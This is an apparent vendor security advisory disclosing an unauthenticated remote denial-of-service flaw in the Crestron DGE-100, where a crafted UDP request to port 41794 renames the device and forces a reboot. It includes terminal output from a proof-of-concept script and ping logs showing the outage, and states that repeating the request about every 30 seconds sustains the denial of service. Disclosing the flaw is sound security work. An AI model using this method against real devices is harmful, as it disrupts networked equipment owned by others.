Crestron DGE-100 Unauthenticated Remote Denial of Service

While investigating a Crestron DGE-100, Tenable discovered that a remote unauthenticated attacker could change the device's name via a crafted UDP request to port 41794. Furthermore, after a name change the device reboots. An attacker can cause a denial of service scenario simply by sending a name change request every 30 seconds or so.

Tenable developed a proof of concept that can be found on our GitHub. In the following output, the devices name is changed from "REALLYCOOLNAME" to "LOLWAT." The output also shows that the device stops responding to pings while it reboots.

albinolobster@ubuntu:~$ python discover_and_hostname_change.py -i 172.20.10.105 -n lolwat
?REALLYCOOLNAMEDGE-100 [v1.2834.00023 (December 27 2015), #00EF8CA0]

albinolobster@ubuntu:~$ ping 172.20.10.105
PING 172.20.10.105 (172.20.10.105) 56(84) bytes of data.
From 172.20.10.111 icmp_seq=3 Destination Host Unreachable
From 172.20.10.111 icmp_seq=4 Destination Host Unreachable
From 172.20.10.111 icmp_seq=5 Destination Host Unreachable
From 172.20.10.111 icmp_seq=6 Destination Host Unreachable
From 172.20.10.111 icmp_seq=7 Destination Host Unreachable
From 172.20.10.111 icmp_seq=8 Destination Host Unreachable
From 172.20.10.111 icmp_seq=9 Destination Host Unreachable
From 172.20.10.111 icmp_seq=10 Destination Host Unreachable
From 172.20.10.111 icmp_seq=11 Destination Host Unreachable
From 172.20.10.111 icmp_seq=12 Destination Host Unreachable
From 172.20.10.111 icmp_seq=13 Destination Host Unreachable
From 172.20.10.111 icmp_seq=14 Destination Host Unreachable
From 172.20.10.111 icmp_seq=15 Destination Host Unreachable
From 172.20.10.111 icmp_seq=16 Destination Host Unreachable
From 172.20.10.111 icmp_seq=17 Destination Host Unreachable
From 172.20.10.111 icmp_seq=18 Destination Host Unreachable
From 172.20.10.111 icmp_seq=19 Destination Host Unreachable
From 172.20.10.111 icmp_seq=20 Destination Host Unreachable
64 bytes from 172.20.10.105: icmp_seq=21 ttl=64 time=1036 ms
64 bytes from 172.20.10.105: icmp_seq=22 ttl=64 time=13.0 ms
64 bytes from 172.20.10.105: icmp_seq=23 ttl=64 time=0.441 ms
64 bytes from 172.20.10.105: icmp_seq=24 ttl=64 time=0.517 ms
^C
--- 172.20.10.105 ping statistics ---
24 packets transmitted, 4 received, +18 errors, 83% packet loss, time 23500ms
rtt min/avg/max/mdev = 0.441/262.734/1036.964/447.031 ms, pipe 4
albinolobster@ubuntu:~$
albinolobster@ubuntu:~$ python discover_and_hostname_change.py -i 172.20.10.105
?LOLWATDGE-100 [v1.2834.00023 (December 27 2015), #00EF8CA0]
albinolobster@ubuntu:~$